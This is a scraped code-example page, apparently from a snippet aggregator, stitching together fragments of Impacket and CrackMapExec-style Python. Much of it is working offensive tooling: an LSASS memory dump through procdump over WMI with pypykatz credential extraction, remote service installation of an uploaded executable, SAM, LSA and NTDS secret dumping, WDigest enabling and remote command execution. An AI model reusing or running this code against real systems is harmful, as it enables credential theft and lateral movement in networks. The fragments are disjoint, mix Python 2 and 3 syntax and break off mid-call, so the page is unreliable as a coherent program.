        print("Simultaneous Users: %d" % resp['InfoStruct']['ServerInfo102']['sv102_users'])

    def do_who(self, line):
        if self.loggedIn is False:
            LOG.error("Not logged in")
            return
        rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename = r'\srvsvc', smb_connection = self.smb)
        dce = rpctransport.get_dce_rpc()
        dce.connect()
        dce.bind(srvs.MSRPC_UUID_SRVS)
        resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 10)

        for session in resp['InfoStruct']['SessionInfo']['Level10']['Buffer']:
            print("host: %15s, user: %5s, active: %5d, idle: %5d" % (
            session['sesi10_cname'][:-1], session['sesi10_username'][:-1], session['sesi10_time'],
            session['sesi10_idle_time']))

    def do_shares(self, line):
        if self.loggedIn is False:
            LOG.error("Not logged in")
            return
        resp = self.smb.listShares()
        for i in range(len(resp)):
            print(resp[i]['shi1_netname'][:-1])

    def do_use(self,line):
        if self.loggedIn is False:
            LOG.error("Not logged in")
            return
        self.share = line
        self.tid = self.smb.connectTree(line)
        self.pwd = '\\'
        self.do_ls('', False)

    def complete_cd(self, text, line, begidx, endidx):
        return self.complete_get(text, line, begidx, endidx, include = 2)

    def do_cd(self, line):
        if self.tid is None:
            LOG.error("No share selected")
            return
        p = line.replace('/','\\')
        oldpwd = self.pwd
        if p[0] == '\\':
           self.pwd = line
        else:
           self.pwd = ntpath.join(self.pwd, line)
        self.pwd = ntpath.normpath(self.pwd)
        # Let's try to open the directory to see if it's valid
        try:
            fid = self.smb.openFile(self.tid, self.pwd, creationOption = FILE_DIRECTORY_FILE, desiredAccess = FILE_READ_DATA |
                                   FILE_LIST_DIRECTORY, shareMode = FILE_SHARE_READ | FILE_SHARE_WRITE )
            self.smb.closeFile(self.tid,fid)
        except SessionError:
            self.pwd = oldpwd
            raise

    def do_lcd(self, s):
        print(s)
        if s == '':
           print(os.getcwd())
        else:
           os.chdir(s)

    def do_pwd(self,line):
        if self.loggedIn is False:
            LOG.error("Not logged in")
            return
        print(self.pwd)

    def do_ls(self, wildcard, display = True):
        if self.loggedIn is False:
            LOG.error("Not logged in")
            return
        if self.tid is None:
            LOG.error("No share selected")
            return
        if wildcard == '':
           pwd = ntpath.join(self.pwd,'*')
        else:
           pwd = ntpath.join(self.pwd, wildcard)
        self.completion = []
        pwd = pwd.replace('/','\\')
        pwd = ntpath.normpath(pwd)
        for f in self.smb.listPath(self.share, pwd):
            if display is True:
                print("%crw-rw-rw- %10d  %s %s" % (
                'd' if f.is_directory() > 0 else '-', f.get_filesize(), time.ctime(float(f.get_mtime_epoch())),
                f.get_longname()))
            self.completion.append((f.get_longname(), f.is_directory()))


    def do_rm(self, filename):
        if self.tid is None:
            LOG.error("No share selected")
            return
        f = ntpath.join(self.pwd, filename)
        file = f.replace('/','\\')
        self.smb.deleteFile(self.share, file)

    def do_mkdir(self, path):
        if self.tid is None:
            LOG.error("No share selected")
            return
        p = ntpath.join(self.pwd, path)
        pathname = p.replace('/','\\')
        self.smb.createDirectory(self.share,pathname)

    def do_rmdir(self, path):
        if self.tid is None:
            LOG.error("No share selected")
            return
        p = ntpath.join(self.pwd, path)
        pathname = p.replace('/','\\')
        self.smb.deleteDirectory(self.share, pathname)

    def do_put(self, pathname):
        if self.tid is None:
            LOG.error("No share selected")
            return
        src_path = pathname
        dst_name = os.path.basename(src_path)

        fh = open(pathname, 'rb')
        f = ntpath.join(self.pwd,dst_name)
        finalpath = f.replace('/','\\')
        self.smb.putFile(self.share, finalpath, fh.read)
        fh.close()

    def complete_get(self, text, line, begidx, endidx, include = 1):
        # include means
        # 1 just files
        # 2 just directories
        p = line.replace('/','\\')
        if p.find('\\') < 0:
            items = []
            if include == 1:
                mask = 0
            else:
                mask = 0x010
            for i in self.completion:
                if i[1] == mask:
                    items.append(i[0])
            if text:
                return  [
                    item for item in items
                    if item.upper().startswith(text.upper())
                ]
            else:
                return items

    def do_mget(self, mask):
        if mask == '':
            LOG.error("A mask must be provided")
            return
        if self.tid is None:
            LOG.error("No share selected")
            return
        self.do_ls(mask,display=False)
        if len(self.completion) == 0:
            LOG.error("No files found matching the provided mask")
            return
        for file_tuple in self.completion:
            if file_tuple[1] == 0:
                filename = file_tuple[0]
                filename = filename.replace('/', '\\')
                fh = open(ntpath.basename(filename), 'wb')
                pathname = ntpath.join(self.pwd, filename)
                try:
                    LOG.info("Downloading %s" % (filename))
                    self.smb.getFile(self.share, pathname, fh.write)
                except:
                    fh.close()
                    os.remove(filename)
                    raise
                fh.close()

    def do_get(self, filename):
        if self.tid is None:
            LOG.error("No share selected")
            return
        filename = filename.replace('/','\\')
        fh = open(ntpath.basename(filename),'wb')
        pathname = ntpath.join(self.pwd,filename)
        try:
            self.smb.getFile(self.share, pathname, fh.write)
        except:
            fh.close()
            os.remove(filename)
            raise
        fh.close()

    def do_cat(self, filename):
        if self.tid is None:
            LOG.error("No share selected")
            return
        filename = filename.replace('/','\\')
        fh = BytesIO()
        pathname = ntpath.join(self.pwd,filename)
        try:
            self.smb.getFile(self.share, pathname, fh.write)
        except:
            raise
        output = fh.getvalue()
        encoding = ""  # chardet.detect(output)["encoding"]
        error_msg = "[-] Output cannot be correctly decoded, are you sure the text is readable ?"
        if encoding:
            try:
                print(output.decode(encoding))
            except:
                print(error_msg)
            finally:
                fh.close()
        else:
            print(error_msg)
            fh.close()

    def do_close(self, line):
        self.do_logoff(line)

    def do_list_snapshots(self, line):
        l = line.split(' ')
        if len(l) > 0:
            pathName= l[0].replace('/','\\')

        # Relative or absolute path?
        if pathName.startswith('\\') is not True:
            pathName = ntpath.join(self.pwd, pathName)

        snapshotList = self.smb.listSnapshots(self.tid, pathName)

        if not snapshotList:
            print("No snapshots found")
            return

        for timestamp in snapshotList:
            print(timestamp)

    def do_mount(self, line):
        l = line.split(' ')
        if len(l) > 1:
            target  = l[0].replace('/','\\')
            pathName= l[1].replace('/','\\')

        # Relative or absolute path?
        if pathName.startswith('\\') is not True:
            pathName = ntpath.join(self.pwd, pathName)

        self.smb.createMountPoint(self.tid, pathName, target)

    def do_umount(self, mountpoint):
        mountpoint = mountpoint.replace('/','\\')

        # Relative or absolute path?
        if mountpoint.startswith('\\') is not True:
            mountpoint = ntpath.join(self.pwd, mountpoint)

        mountPath = ntpath.join(self.pwd, mountpoint)

        self.smb.removeMountPoint(self.tid, mountPath)

    def do_EOF(self, line):
        print('Bye!\n')
        return True
Ejemplo n.º 13
0
    def __init__(self, args, db, host, module, chain_list, cmeserver, share_name):
        self.args = args
        self.db = db
        self.host = host
        self.module = module
        self.chain_list = chain_list
        self.cmeserver = cmeserver
        self.share_name = share_name
        self.conn = None
        self.hostname = None
        self.domain = None
        self.server_os = None
        self.logger = None
        self.password = None
        self.username = None
        self.hash = None
        self.admin_privs = False
        self.failed_logins = 0
        
        try:
            smb = SMBConnection(self.host, self.host, None, self.args.smb_port)

            #Get our IP from the socket
            local_ip = smb.getSMBServer().get_socket().getsockname()[0]

            #Get the remote ip address (in case the target is a hostname) 
            remote_ip = smb.getRemoteHost()

            try:
                smb.login('' , '')
            except SessionError as e:
                if "STATUS_ACCESS_DENIED" in e.message:
                    pass

            self.host = remote_ip
            self.domain   = smb.getServerDomain()
            self.hostname = smb.getServerName()
            self.server_os = smb.getServerOS()

            if not self.domain:
                self.domain = self.hostname

            self.db.add_host(self.host, self.hostname, self.domain, self.server_os)

            self.logger = CMEAdapter(getLogger('CME'), {
                                                        'host': self.host, 
                                                        'port': self.args.smb_port,
                                                        'hostname': u'{}'.format(self.hostname)
                                                       })

            self.logger.info(u"{} (name:{}) (domain:{})".format(
                                                                self.server_os,
                                                                self.hostname.decode('utf-8'), 
                                                                self.domain.decode('utf-8')
                                                                ))

            try:
                '''
                    DC's seem to want us to logoff first, windows workstations sometimes reset the connection
                    (go home Windows, you're drunk)
                '''
                smb.logoff()
            except:
                pass

            if self.args.mssql:
                instances = None
                self.logger.extra['port'] = self.args.mssql_port

                mssql = tds.MSSQL(self.host, self.args.mssql_port, self.logger)
                mssql.connect()

                instances = mssql.getInstances(10)
                if len(instances) > 0:
                    self.logger.info("Found {} MSSQL instance(s)".format(len(instances)))
                    for i, instance in enumerate(instances):
                        self.logger.highlight("Instance {}".format(i))
                        for key in instance.keys():
                            self.logger.highlight(key + ":" + instance[key])

                try:
                    mssql.disconnect()
                except:
                    pass

            if (self.args.username and (self.args.password or self.args.hash)) or self.args.cred_id:
                
                if self.args.mssql and (instances is not None and len(instances) > 0):
                    self.conn = tds.MSSQL(self.host, self.args.mssql_port, self.logger)
                    self.conn.connect()
                
                elif not args.mssql:
                    self.conn = SMBConnection(self.host, self.host, None, self.args.smb_port)

        except socket.error:
            pass

        if self.conn:
            if self.args.domain:
                self.domain = self.args.domain

            if self.args.local_auth:
                self.domain = self.hostname

            self.login()

            if (self.password is not None or self.hash is not None) and self.username is not None:

                if self.module or self.chain_list:

                    if self.chain_list:
                        module = self.chain_list[0]['object']

                    module_logger = CMEAdapter(getLogger('CME'), {
                                                                  'module': module.name.upper(), 
                                                                  'host': self.host, 
                                                                  'port': self.args.smb_port, 
                                                                  'hostname': self.hostname
                                                                 })
                    context = Context(self.db, module_logger, self.args)
                    context.localip  = local_ip

                    if hasattr(module, 'on_request') or hasattr(module, 'has_response'):
                        cmeserver.server.context.localip = local_ip

                    if self.module:

                        launcher = module.launcher(context, None if not hasattr(module, 'command') else module.command)
                        payload = module.payload(context, None if not hasattr(module, 'command') else module.command)

                        if hasattr(module, 'on_login'):
                            module.on_login(context, self, launcher, payload)

                        if self.admin_privs and hasattr(module, 'on_admin_login'):
                            module.on_admin_login(context, self, launcher, payload)

                    elif self.chain_list:
                        module_list = self.chain_list[:]
                        module_list.reverse()

                        final_launcher = module_list[0]['object'].launcher(context, None if not hasattr(module_list[0]['object'], 'command') else module_list[0]['object'].command)
                        if len(module_list) > 2:
                            for m in module_list:
                                if m['object'] == module or m['object'] == module_list[0]['object']:
                                    continue
                                
                                final_launcher = m['object'].launcher(context, final_launcher)

                        if module == module_list[0]['object']: 
                            final_launcher = None if not hasattr(module_list[0]['object'], 'command') else module_list[0]['object'].command
                        
                        launcher = module.launcher(context, final_launcher)
                        payload  = module.payload(context, final_launcher)

                        if hasattr(module, 'on_login'):
                            module.on_login(context, self)

                        if self.admin_privs and hasattr(module, 'on_admin_login'):
                            module.on_admin_login(context, self, launcher, payload)

                elif self.module is None and self.chain_list is None:
                    for k, v in vars(self.args).iteritems():
                        if hasattr(self, k) and hasattr(getattr(self, k), '__call__'):
                            if v is not False and v is not None:
                                getattr(self, k)()
Ejemplo n.º 14
0
class ServiceInstall:
    def __init__(self, SMBObject, exeFile, serviceName=''):
        self._rpctransport = 0
        self.__service_name = serviceName if len(serviceName) > 0  else  ''.join([random.choice(string.ascii_letters) for i in range(4)])
        self.__binary_service_name = ''.join([random.choice(string.ascii_letters) for i in range(8)]) + '.exe'
        self.__exeFile = exeFile

        # We might receive two different types of objects, always end up
        # with a SMBConnection one
        if isinstance(SMBObject, smb.SMB) or isinstance(SMBObject, smb3.SMB3):
            self.connection = SMBConnection(existingConnection = SMBObject)
        else:
            self.connection = SMBObject

        self.share = ''
 
    def getShare(self):
        return self.share

    def getShares(self):
        # Setup up a DCE SMBTransport with the connection already in place
        LOG.info("Requesting shares on %s....." % (self.connection.getRemoteHost()))
        try: 
            self._rpctransport = transport.SMBTransport(self.connection.getRemoteHost(),
                                                        self.connection.getRemoteHost(),filename = r'\srvsvc',
                                                        smb_connection = self.connection)
            dce_srvs = self._rpctransport.get_dce_rpc()
            dce_srvs.connect()

            dce_srvs.bind(srvs.MSRPC_UUID_SRVS)
            resp = srvs.hNetrShareEnum(dce_srvs, 1)
            return resp['InfoStruct']['ShareInfo']['Level1']
        except:
            LOG.critical("Error requesting shares on %s, aborting....." % (self.connection.getRemoteHost()))
            raise

        
    def createService(self, handle, share, path):
        LOG.info("Creating service %s on %s....." % (self.__service_name, self.connection.getRemoteHost()))

        # First we try to open the service in case it exists. If it does, we remove it.
        try:
            resp =  scmr.hROpenServiceW(self.rpcsvc, handle, self.__service_name+'\x00')
        except Exception as e:
            if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') >= 0:
                # We're good, pass the exception
                pass
            else:
                raise e
        else:
            # It exists, remove it
            scmr.hRDeleteService(self.rpcsvc, resp['lpServiceHandle'])
            scmr.hRCloseServiceHandle(self.rpcsvc, resp['lpServiceHandle'])

        # Create the service
        command = '%s\\%s' % (path, self.__binary_service_name)
        try: 
            resp = scmr.hRCreateServiceW(self.rpcsvc, handle,self.__service_name + '\x00', self.__service_name + '\x00',
                                         lpBinaryPathName=command + '\x00', dwStartType=scmr.SERVICE_DEMAND_START)
        except:
            LOG.critical("Error creating service %s on %s" % (self.__service_name, self.connection.getRemoteHost()))
            raise
        else:
            return resp['lpServiceHandle']

    def openSvcManager(self):
        LOG.info("Opening SVCManager on %s....." % self.connection.getRemoteHost())
        # Setup up a DCE SMBTransport with the connection already in place
        self._rpctransport = transport.SMBTransport(self.connection.getRemoteHost(), self.connection.getRemoteHost(),
                                                    filename = r'\svcctl', smb_connection = self.connection)
        self.rpcsvc = self._rpctransport.get_dce_rpc()
        self.rpcsvc.connect()
        self.rpcsvc.bind(scmr.MSRPC_UUID_SCMR)
        try:
            resp = scmr.hROpenSCManagerW(self.rpcsvc)
        except:
            LOG.critical("Error opening SVCManager on %s....." % self.connection.getRemoteHost())
            raise Exception('Unable to open SVCManager')
        else:
            return resp['lpScHandle']

    def copy_file(self, src, tree, dst):
        LOG.info("Uploading file %s" % dst)
        if isinstance(src, str):
            # We have a filename
            fh = open(src, 'rb')
        else:
            # We have a class instance, it must have a read method
            fh = src
        f = dst
        pathname = f.replace('/','\\')
        try:
            self.connection.putFile(tree, pathname, fh.read)
        except:
            LOG.critical("Error uploading file %s, aborting....." % dst)
            raise
        fh.close()

    def findWritableShare(self, shares):
        # Check we can write a file on the shares, stop in the first one
        writeableShare = None
        for i in shares['Buffer']:
            if i['shi1_type'] == srvs.STYPE_DISKTREE or i['shi1_type'] == srvs.STYPE_SPECIAL:
               share = i['shi1_netname'][:-1]
               tid = 0
               try:
                   tid = self.connection.connectTree(share)
                   self.connection.openFile(tid, '\\', FILE_WRITE_DATA, creationOption=FILE_DIRECTORY_FILE)
               except:
                   LOG.critical("share '%s' is not writable." % share)
                   pass
               else:
                   LOG.info('Found writable share %s' % share)
                   writeableShare = str(share)
                   break
               finally:
                   if tid != 0:
                       self.connection.disconnectTree(tid)
        return writeableShare

    def install(self):
        if self.connection.isGuestSession():
            LOG.critical("Authenticated as Guest. Aborting")
            self.connection.logoff()
            del self.connection
        else:
            fileCopied = False
            serviceCreated = False
            # Do the stuff here
            try:
                # Let's get the shares
                shares = self.getShares()
                self.share = self.findWritableShare(shares)
                if self.share is None:
                    return False
                self.copy_file(self.__exeFile ,self.share,self.__binary_service_name)
                fileCopied = True
                svcManager = self.openSvcManager()
                if svcManager != 0:
                    serverName = self.connection.getServerName()
                    if self.share.lower() == 'admin$':
                        path = '%systemroot%'
                    else:
                        if serverName != '':
                           path = '\\\\%s\\%s' % (serverName, self.share)
                        else:
                           path = '\\\\127.0.0.1\\' + self.share 
                    service = self.createService(svcManager, self.share, path)
                    serviceCreated = True
                    if service != 0:
                        # Start service
                        LOG.info('Starting service %s.....' % self.__service_name)
                        try:
                            scmr.hRStartServiceW(self.rpcsvc, service)
                        except:
                            pass
                        scmr.hRCloseServiceHandle(self.rpcsvc, service)
                    scmr.hRCloseServiceHandle(self.rpcsvc, svcManager)
                    return True
            except Exception as e:
                LOG.critical("Error performing the installation, cleaning up: %s" %e)
                try:
                    scmr.hRControlService(self.rpcsvc, service, scmr.SERVICE_CONTROL_STOP)
                except:
                    pass
                if fileCopied is True:
                    try:
                        self.connection.deleteFile(self.share, self.__binary_service_name)
                    except:
                        pass
                if serviceCreated is True:
                    try:
                        scmr.hRDeleteService(self.rpcsvc, service)
                    except:
                        pass
            return False
      
    def uninstall(self):
        fileCopied = True
        serviceCreated = True
        # Do the stuff here
        try:
            # Let's get the shares
            svcManager = self.openSvcManager()
            if svcManager != 0:
                resp = scmr.hROpenServiceW(self.rpcsvc, svcManager, self.__service_name+'\x00')
                service = resp['lpServiceHandle'] 
                LOG.info('Stopping service %s.....' % self.__service_name)
                try:
                    scmr.hRControlService(self.rpcsvc, service, scmr.SERVICE_CONTROL_STOP)
                except:
                    pass
                LOG.info('Removing service %s.....' % self.__service_name)
                scmr.hRDeleteService(self.rpcsvc, service)
                scmr.hRCloseServiceHandle(self.rpcsvc, service)
                scmr.hRCloseServiceHandle(self.rpcsvc, svcManager)
            LOG.info('Removing file %s.....' % self.__binary_service_name)
            self.connection.deleteFile(self.share, self.__binary_service_name)
        except Exception:
            LOG.critical("Error performing the uninstallation, cleaning up" )
            try:
                scmr.hRControlService(self.rpcsvc, service, scmr.SERVICE_CONTROL_STOP)
            except:
                pass
            if fileCopied is True:
                try:
                    self.connection.deleteFile(self.share, self.__binary_service_name)
                except:
                    try:
                        self.connection.deleteFile(self.share, self.__binary_service_name)
                    except:
                        pass
                    pass
            if serviceCreated is True:
                try:
                    scmr.hRDeleteService(self.rpcsvc, service)
                except:
                    pass
Ejemplo n.º 15
0
    def run(self, addr):
        if self.__noOutput is False:
            smbConnection = SMBConnection(addr, addr)
            if self.__doKerberos is False:
                smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
            else:
                smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
                                            self.__nthash, self.__aesKey, kdcHost=self.__kdcHost)

            dialect = smbConnection.getDialect()
            if dialect == SMB_DIALECT:
                logging.info("SMBv1 dialect used")
            elif dialect == SMB2_DIALECT_002:
                logging.info("SMBv2.0 dialect used")
            elif dialect == SMB2_DIALECT_21:
                logging.info("SMBv2.1 dialect used")
            else:
                logging.info("SMBv3.0 dialect used")
        else:
            smbConnection = None

        dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
                              self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
        try:
            iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
            iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
            iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
            iWbemLevel1Login.RemRelease()

            win32Process,_ = iWbemServices.GetObject('Win32_Process')

            self.shell = RemoteShell(self.__share, win32Process, smbConnection)
        
        ## todo:
            ## Check OS 32 bit or 64 bit ##
            #cmmand = "wmic os get OSArchitecture"

            ### This is super hacky ###
            self.shell.do_put(PROC_PATH)
            command = "procdump64.exe -ma -accepteula lsass lsass.%s.dmp" % (addr)
            self.shell.onecmd(command)
            self.shell.do_get("lsass.%s.dmp"%(addr))
            self.shell.onecmd("del procdump64.exe")
            command = "del lsass.%s.dmp" % (addr)
            self.shell.onecmd(command)
            ### but it still works ###

            #raw_input("Press ENTER to continue")

            print(os.popen("pypykatz lsa minidump lsass.%s.dmp"%(addr)).read())

            if True:
                pass
            elif self.__command != ' ':
                self.shell.onecmd(self.__command)
            else:
                self.shell.cmdloop()
        except  (Exception, KeyboardInterrupt) as e:
            if logging.getLogger().level == logging.DEBUG:
                import traceback
                traceback.print_exc()
            logging.error(str(e))
            if smbConnection is not None:
                smbConnection.logoff()
            dcom.disconnect()
            sys.stdout.flush()
            sys.exit(1)

        if smbConnection is not None:
            smbConnection.logoff()
        dcom.disconnect()
Ejemplo n.º 16
0
    def run(self, addr):
        if self.__noOutput is False:
            smbConnection = SMBConnection(addr, addr)
            if self.__doKerberos is False:
                smbConnection.login(self.__username, self.__password,
                                    self.__domain, self.__lmhash,
                                    self.__nthash)
            else:
                smbConnection.kerberosLogin(self.__username,
                                            self.__password,
                                            self.__domain,
                                            self.__lmhash,
                                            self.__nthash,
                                            self.__aesKey,
                                            kdcHost=self.__kdcHost)

            dialect = smbConnection.getDialect()
            if dialect == SMB_DIALECT:
                logging.info("SMBv1 dialect used")
            elif dialect == SMB2_DIALECT_002:
                logging.info("SMBv2.0 dialect used")
            elif dialect == SMB2_DIALECT_21:
                logging.info("SMBv2.1 dialect used")
            else:
                logging.info("SMBv3.0 dialect used")
        else:
            smbConnection = None

        dcom = DCOMConnection(addr,
                              self.__username,
                              self.__password,
                              self.__domain,
                              self.__lmhash,
                              self.__nthash,
                              self.__aesKey,
                              oxidResolver=True,
                              doKerberos=self.__doKerberos,
                              kdcHost=self.__kdcHost)
        try:
            remoteHost = str(addr)
            print(remoteHost + ": starting WMI")
            iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,
                                                 wmi.IID_IWbemLevel1Login)
            iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
            iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL,
                                                       NULL)
            iWbemLevel1Login.RemRelease()

            win32Process, _ = iWbemServices.GetObject('Win32_Process')

            self.shell = RemoteShell(self.__share, win32Process, smbConnection)

            print(remoteHost + ": deploying " + self.scanobj.surveyfile)
            self.shell.do_cd(self.scanobj.tgtdestdirectory)
            self.shell.do_put(self.scanobj.surveyfile)
            for reqFile in self.scanobj.requiredfiles:
                self.shell.do_put(reqFile)
                print(remoteHost + ": uploading " + reqFile)
            destsurveyfile = self.scanobj.surveyfile[self.scanobj.surveyfile.
                                                     rfind("/") + 1:]
            print(remoteHost + ": executing " + destsurveyfile)
            self.shell.onecmd("powershell -ep bypass ./" + destsurveyfile +
                              " -verbose")
            print(remoteHost + ": getting results")
            f = self.shell.do_get("SurveyResults.xml")
            os.rename(f, "results/SurveyResults-" + addr + ".xml")
            self.shell.onecmd("del " + destsurveyfile + " SurveyResults.xml")
            fh = open("log/" + addr + ".txt", 'wb')
            fh.write(self.shell.get_alloutput())
            fh.close()
            print(remoteHost + ":  finished")
            self.__outputBuffer = u''
        except (Exception, KeyboardInterrupt), e:
            import traceback
            traceback.print_exc()
            logging.error(str(e))
            fh = open("log/" + addr + ".txt", 'wb')
            fh.write(str(e))
            fh.close()
            if smbConnection is not None:
                smbConnection.logoff()
            dcom.disconnect()
            sys.stdout.flush()
            sys.exit(1)
Ejemplo n.º 17
0
class SMBTransport(DCERPCTransport):
    """Implementation of ncacn_np protocol sequence"""
    def __init__(self,
                 remoteName,
                 dstport=445,
                 filename='',
                 username='',
                 password='',
                 domain='',
                 lmhash='',
                 nthash='',
                 aesKey='',
                 TGT=None,
                 TGS=None,
                 remote_host='',
                 smb_connection=0,
                 doKerberos=False,
                 kdcHost=None):
        DCERPCTransport.__init__(self, remoteName, dstport)
        self.__socket = None
        self.__tid = 0
        self.__filename = filename
        self.__handle = 0
        self.__pending_recv = 0
        self.set_credentials(username, password, domain, lmhash, nthash,
                             aesKey, TGT, TGS)
        self._doKerberos = doKerberos
        self._kdcHost = kdcHost

        if remote_host != '':
            self.setRemoteHost(remote_host)

        if smb_connection == 0:
            self.__existing_smb = False
        else:
            self.__existing_smb = True
            self.set_credentials(*smb_connection.getCredentials())

        self.__prefDialect = None
        self.__smb_connection = smb_connection

    def preferred_dialect(self, dialect):
        self.__prefDialect = dialect

    def setup_smb_connection(self):
        if not self.__smb_connection:
            self.__smb_connection = SMBConnection(
                self.getRemoteName(),
                self.getRemoteHost(),
                sess_port=self.get_dport(),
                preferredDialect=self.__prefDialect)

    def connect(self):
        # Check if we have a smb connection already setup
        if self.__smb_connection == 0:
            self.setup_smb_connection()
            if self._doKerberos is False:
                self.__smb_connection.login(self._username, self._password,
                                            self._domain, self._lmhash,
                                            self._nthash)
            else:
                self.__smb_connection.kerberosLogin(self._username,
                                                    self._password,
                                                    self._domain,
                                                    self._lmhash,
                                                    self._nthash,
                                                    self._aesKey,
                                                    kdcHost=self._kdcHost,
                                                    TGT=self._TGT,
                                                    TGS=self._TGS)
        self.__tid = self.__smb_connection.connectTree('IPC$')
        self.__handle = self.__smb_connection.openFile(self.__tid,
                                                       self.__filename)
        self.__socket = self.__smb_connection.getSMBServer().get_socket()
        return 1

    def disconnect(self):
        self.__smb_connection.disconnectTree(self.__tid)
        # If we created the SMB connection, we close it, otherwise
        # that's up for the caller
        if self.__existing_smb is False:
            self.__smb_connection.logoff()
            self.__smb_connection.close()
            self.__smb_connection = 0

    def send(self, data, forceWriteAndx=0, forceRecv=0):
        if self._max_send_frag:
            offset = 0
            while 1:
                toSend = data[offset:offset + self._max_send_frag]
                if not toSend:
                    break
                self.__smb_connection.writeFile(self.__tid,
                                                self.__handle,
                                                toSend,
                                                offset=offset)
                offset += len(toSend)
        else:
            self.__smb_connection.writeFile(self.__tid, self.__handle, data)
        if forceRecv:
            self.__pending_recv += 1

    def recv(self, forceRecv=0, count=0):
        if self._max_send_frag or self.__pending_recv:
            # _max_send_frag is checked because it's the same condition we checked
            # to decide whether to use write_andx() or send_trans() in send() above.
            if self.__pending_recv:
                self.__pending_recv -= 1
            return self.__smb_connection.readFile(
                self.__tid, self.__handle, bytesToRead=self._max_recv_frag)
        else:
            return self.__smb_connection.readFile(self.__tid, self.__handle)

    def get_smb_connection(self):
        return self.__smb_connection

    def set_smb_connection(self, smb_connection):
        self.__smb_connection = smb_connection
        self.set_credentials(*smb_connection.getCredentials())
        self.__existing_smb = True

    def get_smb_server(self):
        # Raw Access to the SMBServer (whatever type it is)
        return self.__smb_connection.getSMBServer()

    def get_socket(self):
        return self.__socket

    def doesSupportNTLMv2(self):
        return self.__smb_connection.doesSupportNTLMv2()
Ejemplo n.º 18
0
def main_greenlet(host):

    try:

        smb = SMBConnection(host, host, None, settings.args.port)
        try:
            smb.login('', '')
        except SessionError as e:
            if "STATUS_ACCESS_DENIED" in e.message:
                pass

        domain = settings.args.domain
        s_name = smb.getServerName()
        if not domain:
            domain = smb.getServerDomain()
            if not domain:
                domain = s_name

        cme_logger = CMEAdapter(
            logging.getLogger('CME'), {
                'host': host,
                'hostname': s_name,
                'port': settings.args.port,
                'service': 'SMB'
            })

        cme_logger.info(u"{} (name:{}) (domain:{})".format(
            smb.getServerOS(), s_name, domain))

        if settings.args.mssql_instance or settings.args.mssql is not None:
            mssql_greenlet(host, s_name, domain)

        try:
            '''
                DC's seem to want us to logoff first
                Windows workstations sometimes reset the connection, so we handle both cases here
                (go home Windows, you're drunk)
            '''
            smb.logoff()
        except NetBIOSError:
            pass
        except socket.error:
            smb = SMBConnection(host, host, None, settings.args.port)

        if (settings.args.user is not None and
            (settings.args.passwd is not None
             or settings.args.hash is not None)) or settings.args.combo_file:

            smb, user, passwd, ntlm_hash, domain = smart_login(
                host, domain, smb, cme_logger)
            #Get our IP from the socket
            local_ip = smb.getSMBServer().get_socket().getsockname()[0]

            if settings.args.delete or settings.args.download or settings.args.list or settings.args.upload:
                rfs = RemoteFileSystem(host, smb, cme_logger)
                if settings.args.delete:
                    rfs.delete()
                if settings.args.download:
                    rfs.download()
                if settings.args.upload:
                    rfs.upload()
                if settings.args.list:
                    rfs.list()

            if settings.args.enum_shares:
                shares = SHAREDUMP(smb, cme_logger)
                shares.dump(host)

            if settings.args.enum_users:
                users = SAMRDump(cme_logger,
                                 '{}/SMB'.format(settings.args.port), user,
                                 passwd, domain, ntlm_hash,
                                 settings.args.aesKey, settings.args.kerb)
                users.dump(host)

            if settings.args.sam or settings.args.lsa or settings.args.ntds:
                dumper = DumpSecrets(cme_logger, 'logs/{}'.format(host), smb,
                                     settings.args.kerb)

                dumper.do_remote_ops()
                if settings.args.sam:
                    dumper.dump_SAM()
                if settings.args.lsa:
                    dumper.dump_LSA()
                if settings.args.ntds:
                    dumper.dump_NTDS(settings.args.ntds,
                                     settings.args.ntds_history,
                                     settings.args.ntds_pwdLastSet)
                dumper.cleanup()

            if settings.args.pass_pol:
                pass_pol = PassPolDump(cme_logger,
                                       '{}/SMB'.format(settings.args.port),
                                       user, passwd, domain, ntlm_hash,
                                       settings.args.aesKey,
                                       settings.args.kerb)
                pass_pol.dump(host)

            if settings.args.rid_brute:
                lookup = LSALookupSid(cme_logger, user, passwd, domain,
                                      '{}/SMB'.format(settings.args.port),
                                      ntlm_hash, settings.args.rid_brute)
                lookup.dump(host)

            if settings.args.enum_sessions or settings.args.enum_disks or settings.args.enum_lusers:
                rpc_query = RPCQUERY(cme_logger, user, passwd, domain,
                                     ntlm_hash)

                if settings.args.enum_sessions:
                    rpc_query.enum_sessions(host)
                if settings.args.enum_disks:
                    rpc_query.enum_disks(host)
                if settings.args.enum_lusers:
                    rpc_query.enum_lusers(host)

            if settings.args.spider:
                smb_spider = SMBSPIDER(cme_logger, host, smb)
                smb_spider.spider(settings.args.spider, settings.args.depth)
                smb_spider.finish()

            if settings.args.wmi_query:
                wmi_query = WMIQUERY(cme_logger, user, domain, passwd,
                                     ntlm_hash, settings.args.kerb,
                                     settings.args.aesKey)

                wmi_query.run(settings.args.wmi_query, host,
                              settings.args.namespace)

            if settings.args.check_uac:
                uac = UACdump(cme_logger, smb, settings.args.kerb)
                uac.run()

            if settings.args.enable_wdigest or settings.args.disable_wdigest:
                wdigest = WdisgestEnable(cme_logger, smb, settings.args.kerb)
                if settings.args.enable_wdigest:
                    wdigest.enable()
                elif settings.args.disable_wdigest:
                    wdigest.disable()

            if settings.args.service:
                service_control = SVCCTL(cme_logger, user, passwd, domain,
                                         '{}/SMB'.format(settings.args.port),
                                         settings.args.service,
                                         settings.args.aesKey,
                                         settings.args.kerb, ntlm_hash,
                                         settings.args)
                service_control.run(host)

            if settings.args.command:
                EXECUTOR(cme_logger, settings.args.command, host, domain,
                         settings.args.no_output, smb, settings.args.execm,
                         user, passwd, ntlm_hash)

            if settings.args.pscommand:
                EXECUTOR(
                    cme_logger,
